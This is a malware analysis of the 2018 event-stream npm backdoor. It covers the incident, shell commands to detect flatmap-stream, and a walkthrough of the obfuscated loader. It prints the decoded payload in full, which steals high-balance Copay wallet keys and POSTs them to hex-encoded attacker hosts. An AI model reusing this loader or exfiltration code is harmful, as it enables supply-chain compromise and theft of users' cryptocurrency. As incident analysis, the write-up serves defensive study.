NodeJS - Event-Stream Backdoor Analysis
NodeJS - Event-Stream Backdoor Analysis
Analysis
I - The story
On November 11th, 2018, at the “event-stream” repository there was a nickname
FallingSnow saying that:
“ Am I affected?:
If you are using anything crypto-currency related, then maybe. As discovered by
@maths22, the target seems to have been identified as copay related libraries. It only
executes successfully when a matching package is in use (assumed to be copay at this
point). If you are using a crypto-currency related library and if you see flatmap-
[email protected] after running npm ls event-stream flatmap-stream, you are most likely
affected. For example:
$ npm ls event-stream flatmap-stream
...
[email protected]
…
“ - Readmore (I recommend you to read the whole story said by him)
In my opinion, this is a really interesting "story" in blockchain security and hacking world
in general. Backdoor?, this words is extremely attractive, and me myself always want to
learn more about how attackers in the wild hiding their backdoor or make it persistently
stay in the system.
If backdoor is a thing in Security, then how to hide them is an Art.
Therefore, me and my coworker decided to dive right into it in order to see what the
backdoor looks like and how that guy(s) could hide them for years
II - Detection method
1. 1.
Go to your repo and run these 2 command lines:
for i in `find /home/isysadmin/app-prod -maxdepth 2 -type d|
grep node_modules`; do cd $i; pwd;npm ls|egrep "event-
stream|flatmap-stream"; done
find /home/isysadmin/app-prod | grep yarn.lock|xargs egrep
"event-stream|flatmap-stream"|grep resolved
2. 2.
If it returns the below message, it might have been installed a
vulnerable extension of event-stream
/xxx/xxx/xxx/xxx/node_modules │ │ └─┬ [email protected] │ │
├── [email protected]
function w(r, e) {
var t = c + 1;
if (e === t ? (void 0 !== r && i.emit.apply(i, ["data", r]), c++,
t++) : m[e] = r, m.hasOwnProperty(t)) {
var n = m[t];
return delete m[t], w(n, t)
}
a === ++o && (f && (f = !1, i.emit("drain")), u && v())
}
function p(r, e, t) {
l || (s = !0, r && !n.failures || w(e, t), r && i.emit.apply(i,
[d, r]), s = !1)
}
function b(r, t, n) {
return e.call(null, r, function(r, e) {
n(r, e, t)
})
}
function v(r) {
if (u = !0, i.writable = !1, void 0 !== r) return w(r, a);
a == o && (i.readable = !1, i.emit("end"), i.destroy())
}
return i.writable = !0, i.readable = !0, i.write = function(r) {
if (u) throw new Error("flatmap stream is not writable");
s = !1;
try {
for (var e in r) {
a++;
var t = b(r[e], a, p);
if (f = !1 === t) break
}
return !f
} catch (r) {
if (s) throw r;
return p(r), !f
}
}, i.end = function(r) {
u || v(r)
}, i.destroy = function() {
u = l = !0, i.writable = i.readable = f = !1,
process.nextTick(function() {
i.emit("close")
})
}, i.pause = function() {
f = !0
}, i.resume = function() {
f = !1
}, i
};
! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
} catch (r) {}
}();
root @inf - prod - eth7 - jp: /home/isysadmin / ibl - core - eth - insight
- api / node_modules / flatmap - stream#
This guy was using code obfuscation to blind 2 millions download-ers. So what did he
do?
In that messy code, just this function is used:
var r = require,
t = process
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
}
catch (r) {}
}()
[e(n[3]) = t[e(“656e76”)]=evn
[e(n[4]) =
t[e(“6e706d5f7061636b6167655f6465736372697074696f6e”)]=npm_package_descrip
tion
o=t[e(n[3])][e(n[4]) ~ o=t["env"]["npm_package_description"] = “A Secure
Bitcoin Wallet”
function i(e, t, n) {
e = Buffer.from(e, "hex").toString();
var r = o.request({
hostname: e,
port: 8080,
method: "POST",
path: "/" + t,
headers: {
"Content-Length": n.length,
"Content-Type": "text/html"
}
}, function() {});
r.on("error", function(e) {}), r.write(n), r.end()
}
function r(e, t) {
for (var n = "", r = 0; r < t.length; r += 200) {
var o = t.substr(r, 200);
n += a.publicEncrypt(c, Buffer.from(o,
"utf8")).toString("hex") + "+"
}
i("636f7061796170692e686f7374", e, n),
i("3131312e39302e3135312e313334", e, n)
}
function l(t, n) {
if (window.cordova) try {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(t, {
create: !1
}, function(e) {
e.file(function(e) {
var t = new FileReader;
t.onloadend = function() {
return n(JSON.parse(t.result))
}, t.onerror = function(e) {
t.abort()
}, t.readAsText(e)
})
})
})
} catch (e) {} else {
try {
var r = localStorage.getItem(t);
if (r) return n(JSON.parse(r))
} catch (e) {}
try {
chrome.storage.local.get(t, function(e) {
if (e) return n(JSON.parse(e[t]))
})
} catch (e) {}
}
}
global.CSSMap = {}, l("profile", function(e) {
for (var t in e.credentials) {
var n = e.credentials[t];
"livenet" == n.network && l("balanceCache-" +
n.walletId, function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(" ")[0]),
"btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3
|| (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
}.bind(n))
}
});
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeysFunc = e.prototype.getKeys,
e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap && global.CSSMap[this.xPubKey] &&
(delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
} catch (e) {}
return t
}
} catch (e) {}
}
window.cordova ? document.addEventListener("deviceready", e) : e()
}();